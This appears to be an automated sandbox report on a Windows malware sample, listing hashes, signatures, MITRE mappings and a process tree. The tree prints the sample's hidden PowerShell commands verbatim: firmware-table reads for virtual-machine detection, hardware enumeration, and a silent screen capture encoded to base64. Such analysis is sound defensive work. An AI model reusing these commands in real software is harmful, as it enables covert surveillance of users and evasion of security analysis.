4070f9763aa98114fbbfd6643ac79648ce170e01a12373730ffb546bd3806927

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 13:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
Size 112.0MB
Sample260604-qlrayagt6m
SHA256 4070f9763aa98114fbbfd6643ac79648ce170e01a12373730ffb546bd3806927
MD5 b859cc3710b6e7aa908e3657c053c168
SHA1 c1cda8dde9d1b536a37ccbbddd79031077f81aaf
SHA512 9bd2d5d778a291675093cc682b7d221ce4f35ba7b98f4da4a0dc45865b2dc56c6b6039d5d9d6916e5b27850fce59fb0034b880a7482ce9fbd161d52b54b1a2de
SSDEEP 1572864:BAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYVXqwb:s3iXtqwb
TLSH
T117486C43B2A75098E4BBC97582D65323E5337C8A1F3069EF15845B312F73AE09B39B25
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4768	powershell.exe
1636	powershell.exe
3020	powershell.exe
1756	powershell.exe
4572	powershell.exe
1712	powershell.exe
4120	powershell.exe
2580	powershell.exe
1580	powershell.exe
1848	powershell.exe
2664	powershell.exe
3640	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
18	api.ipify.org

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
2580	powershell.exe
2580	powershell.exe
1580	powershell.exe
1580	powershell.exe
1848	powershell.exe
1848	powershell.exe
1636	powershell.exe
1636	powershell.exe
3020	powershell.exe
3020	powershell.exe
1756	powershell.exe
1756	powershell.exe
2664	powershell.exe
2664	powershell.exe
3640	powershell.exe
3640	powershell.exe
4572	powershell.exe
4572	powershell.exe
4768	powershell.exe
4768	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeIncreaseQuotaPrivilege	2580	powershell.exe
Token: SeSecurityPrivilege	2580	powershell.exe
Token: SeTakeOwnershipPrivilege	2580	powershell.exe
Token: SeLoadDriverPrivilege	2580	powershell.exe
Token: SeSystemProfilePrivilege	2580	powershell.exe
Token: SeSystemtimePrivilege	2580	powershell.exe
Token: SeProfSingleProcessPrivilege	2580	powershell.exe
Token: SeIncBasePriorityPrivilege	2580	powershell.exe
Token: SeCreatePagefilePrivilege	2580	powershell.exe
Token: SeBackupPrivilege	2580	powershell.exe
Token: SeRestorePrivilege	2580	powershell.exe
Token: SeShutdownPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeSystemEnvironmentPrivilege	2580	powershell.exe
Token: SeRemoteShutdownPrivilege	2580	powershell.exe
Token: SeUndockPrivilege	2580	powershell.exe
Token: SeManageVolumePrivilege	2580	powershell.exe
Token: 33	2580	powershell.exe
Token: 34	2580	powershell.exe
Token: 35	2580	powershell.exe
Token: 36	2580	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeIncreaseQuotaPrivilege	1580	powershell.exe
Token: SeSecurityPrivilege	1580	powershell.exe
Token: SeTakeOwnershipPrivilege	1580	powershell.exe
Token: SeLoadDriverPrivilege	1580	powershell.exe
Token: SeSystemProfilePrivilege	1580	powershell.exe
Token: SeSystemtimePrivilege	1580	powershell.exe
Token: SeProfSingleProcessPrivilege	1580	powershell.exe
Token: SeIncBasePriorityPrivilege	1580	powershell.exe
Token: SeCreatePagefilePrivilege	1580	powershell.exe
Token: SeBackupPrivilege	1580	powershell.exe
Token: SeRestorePrivilege	1580	powershell.exe
Token: SeShutdownPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeSystemEnvironmentPrivilege	1580	powershell.exe
Token: SeRemoteShutdownPrivilege	1580	powershell.exe
Token: SeUndockPrivilege	1580	powershell.exe
Token: SeManageVolumePrivilege	1580	powershell.exe
Token: 33	1580	powershell.exe
Token: 34	1580	powershell.exe
Token: 35	1580	powershell.exe
Token: 36	1580	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeIncreaseQuotaPrivilege	1848	powershell.exe
Token: SeSecurityPrivilege	1848	powershell.exe
Token: SeTakeOwnershipPrivilege	1848	powershell.exe
Token: SeLoadDriverPrivilege	1848	powershell.exe
Token: SeSystemProfilePrivilege	1848	powershell.exe
Token: SeSystemtimePrivilege	1848	powershell.exe
Token: SeProfSingleProcessPrivilege	1848	powershell.exe
Token: SeIncBasePriorityPrivilege	1848	powershell.exe
Token: SeCreatePagefilePrivilege	1848	powershell.exe
Token: SeBackupPrivilege	1848	powershell.exe
Token: SeRestorePrivilege	1848	powershell.exe
Token: SeShutdownPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeSystemEnvironmentPrivilege	1848	powershell.exe
Token: SeRemoteShutdownPrivilege	1848	powershell.exe
Token: SeUndockPrivilege	1848	powershell.exe
Token: SeManageVolumePrivilege	1848	powershell.exe
Token: 33	1848	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 568	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	84
PID 568 wrote to memory of 1712	568	cmd.exe	86
PID 1792 wrote to memory of 2600	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	87
PID 2600 wrote to memory of 4120	2600	cmd.exe	89
PID 4120 wrote to memory of 2184	4120	powershell.exe	90
PID 1792 wrote to memory of 2168	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	91
PID 2168 wrote to memory of 2580	2168	cmd.exe	93
PID 1792 wrote to memory of 3036	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	95
PID 3036 wrote to memory of 1580	3036	cmd.exe	97
PID 1792 wrote to memory of 4060	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	98
PID 4060 wrote to memory of 1848	4060	cmd.exe	100
PID 1792 wrote to memory of 5028	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	101
PID 5028 wrote to memory of 1636	5028	cmd.exe	103
PID 1792 wrote to memory of 4092	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	104
PID 4092 wrote to memory of 3020	4092	cmd.exe	106
PID 1792 wrote to memory of 692	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	107
PID 692 wrote to memory of 1756	692	cmd.exe	109
PID 1792 wrote to memory of 472	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	110
PID 472 wrote to memory of 4836	472	cmd.exe	112
PID 1792 wrote to memory of 1840	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	113
PID 1840 wrote to memory of 1668	1840	cmd.exe	115
PID 1792 wrote to memory of 3212	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	116
PID 3212 wrote to memory of 2664	3212	cmd.exe	118
PID 1792 wrote to memory of 2996	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	119
PID 2996 wrote to memory of 3640	2996	cmd.exe	121
PID 1792 wrote to memory of 432	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	122
PID 432 wrote to memory of 4572	432	cmd.exe	124
PID 1792 wrote to memory of 1636	1792	2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	125
PID 1636 wrote to memory of 4768	1636	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-04_b859cc3710b6e7aa908e3657c053c168_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4120
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2iym5btp\2iym5btp.cmdline"
      4⤵
      PID:2184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:472
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:4836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:1668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...